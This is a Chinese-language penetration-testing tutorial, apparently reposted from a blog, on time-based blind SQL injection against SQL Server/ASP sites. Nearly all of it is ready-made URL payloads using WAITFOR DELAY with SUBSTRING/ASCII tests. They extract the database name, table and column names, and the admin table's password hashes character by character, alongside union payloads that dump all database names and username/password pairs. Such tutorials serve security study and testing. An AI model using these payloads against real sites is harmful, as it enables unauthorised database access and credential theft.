77.网络安全渗透测试—[SQL注入篇16]—[SQLSERVER+ASP-延时注入]

本文阅读 7 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、SQLSERVER+ASP 延时注入

1、简介

(1)SQLSERVER 延时注入也是盲注的一种

(2)WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。

waitfor delay '0:0:5'  
//延时5秒再执行操作

select 1 waitfor delay '0:0:5'    
//延时5秒后打印输出1

(3)substring()函数语法:substring(字符串,start[,length])

(4)substring(‘abcdefg’,1,1):表示从第一位开始截取1个字符,此时就是a

(5)char(97),作用是把97的ASCII码值转换为对应的字符

(6)ascii(a),作用是把字符a转换为对应的ASCII码值

(7)count(*),查询个数

(8)top 1:第1个之前的记录

(9)top 1结合where username!=‘admin’:先执行条件,再取top 1。(假如admin是真正的第一条记录,那么排除了admin后,此时的top1实际上就是第二条记录)

(10)注入的形式:          形式1:?id=1 WAITFOR DELAY '0:0:5'          形式2:?id=1;WAITFOR DELAY '0:0:5'

2、判断注入

(1)页面延时5秒返回:?id=1 WAITFOR DELAY '0:0:5' img

3、猜解长度、个数、字符

(1)猜解当前数据库名的长度-payload1:?id=1 IF len(DB_NAME())=4 WAITFOR DELAY '0:0:5' img

(2)猜解当前数据库名的第一个字符-payload2:?id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5' img

(3)猜解当前数据库名的第二个字符-payload3:?id=1 if(SUBSTRING(DB_NAME(),2,1)='y') waitfor delay '0:0:5' img

(4)猜解当前数据库名的第三个字符-payload4:?id=1 IF ASCII(SUBSTRING(DB_NAME(),3,1))=100 WAITFOR DELAY '0:0:5' img

(5)猜解当前数据库名的第四个字符-payload5:?id=1 IF ASCII(SUBSTRING(DB_NAME(),4,1))=108 WAITFOR DELAY '0:0:5' img (6)猜解当前数据库的表个数-payload6:?id=1 IF (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb')=4 WAITFOR DELAY '0:0:5' img

(7)猜解当前数据库的第一个表名长度-payload7:?id=1 IF len((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb'))=3 WAITFOR DELAY '0:0:5' img

(8)猜解当前数据库的第一个表的第一个字符-payload8:?id=1 IF SUBSTRING((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb'),1,1)=CHAR(99) WAITFOR DELAY '0:0:5' img  # 依此类推,猜解出mydb库的第一个表名为cmd

(9)猜解当前数据库的第二个表名长度-payload9:?id=1 IF len((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' and table_name!='cmd'))=8 WAITFOR DELAY '0:0:5' img

(10)猜解当前数据库的第二个表的第一个字符(排除第一个表,之后再取top 1)-payload10:?id=1 IF SUBSTRING((SELECT top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' and table_name!='cmd'),1,1)=CHAR(116) WAITFOR DELAY '0:0:5' img  # 依次类推,猜解出mydb库的第二个表名为test_tmp

 # 经过一系列的猜解:

得到当前库为mydb
库里面有四个表,分别是cmd、test_tmp、admin、art
第三个表admin有四个字段,分别是:id、username、password、email
第三个表admin的第二个字段username的前两条数据/记录为admin、qwsn

(11)猜解admin表有几行记录/数据-payload11:?id=1 IF (select count(id) from admin)=2 WAITFOR DELAY '0:0:5' img

(12)猜解admin表的password字段的第一条记录的长度-payload12:?id=1 IF len((select top 1 password from admin))=32 WAITFOR DELAY '0:0:5' img

(13)猜解admin表的password字段的第一条记录的第一个字符-payload13:?id=1 IF ASCII(SUBSTRING((select top 1 password from admin),1,1))=101 WAITFOR DELAY '0:0:5' img (14)上一步的思考:

方法1-通过第一条记录的username字段值排除:?id=1 IF ASCII(SUBSTRING((select top 1 password from admin where username!='admin'),1,1))=50 WAITFOR DELAY '0:0:5' img 方法2-通过第一条记录的id字段值排除:?id=1 IF ASCII(SUBSTRING((select top 1 password from admin where id!=1),1,1))=50 WAITFOR DELAY '0:0:5' img

4、以上总结:12步

(1)判断是否存在注入 (2)猜解库名长度 (3)逐个猜解库名字符 (4)猜解当前库中的表个数 (5)猜解当前库中的某个表名的长度 (6)逐个猜解某个库中的某个表名的字符 (7)猜解某个表中的字段个数 (8)猜解某个表中的某个字段名的长度 (9)逐个猜解某个表中的某个字段名的字符 (10)猜解某个表中的字段值/记录/数据的条数 (11)猜解某个表中的某个字段值的长度 (12)逐个猜解某个表中的某个字段值的字符

5、思考1:information_schema的区别

(1)SQL SERVER: 此时身份是某个库的系统视图          在sqlserver中,由于information_schema.schemata是某个数据库下的视图下的系统视图,相当于一个虚拟表,其中的table_schema字段值表示的是用户名,而catalog_name表示的才是数据库名。注意:以上这句话中重要的是它存储于某个数据库下,那么该视图中的catalog_name字段的值只能是自己的库名。

(2)MySQL: 此时身份是库          而在MySQL中,information_schema是一个单独的库,其里面存储着表schemata,也就是information_schema.schemata,该表里面的table_schema是库名的意思,它的值就广泛,有着所有的库名!!!

(3)总之:          在SQLSERVER中不可以使用information_Schema.schemata查询所有的库名,而MySQL可以。

(4)提出问题:怎么查询出其他库名?

在有回显的时候:

使用联合查询所有库名-payload:?id=1 union SELECT null,null,Name FROM Master..SysDatabases img

同理也可以联合查询所有表名:?id=1 union SELECT null,null,Name FROM SysObjects Where XType='U' img 同理也可以联合查询某个表中指定字段的所有字段值-payload:?id=1 union select null,null,(select username,password from admin for xml path)

但是!!!!!在没有回显的时候,我们既然已经用到了时间盲注,那么就是没有回显了,那么如何在此条件下,如何查询出其他库名呢??????

6、思考2:如何一次查询当前库的所有表长度

(1)MySQL中使用的是group_concat()

(2)SQL server中使用的是for xml path

一次查询mydb库的所有表长度-payload:?id=1 IF len((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG='mydb' FOR XML PATH))=163 WAITFOR DELAY '0:0:5' img 同理一次查询admin库的username和password所有字段值的长度-payload: img

7、简化延时注入步骤:9步(省略了判断个数的步骤)

(1)判断是否存在注入 (2)猜解当前库名长度 (3)逐个猜解当前库名的字符 (4)猜解当前库的所有表名长度 (5)逐个猜解当前库的所有表名字符 (6)猜解某个表的所有字段名长度 (7)逐个猜解某个表的所有字段名字符 (8)猜解某个表的所有字段值长度 (9)逐个猜解某个表的索引字段值字符

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122589087
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复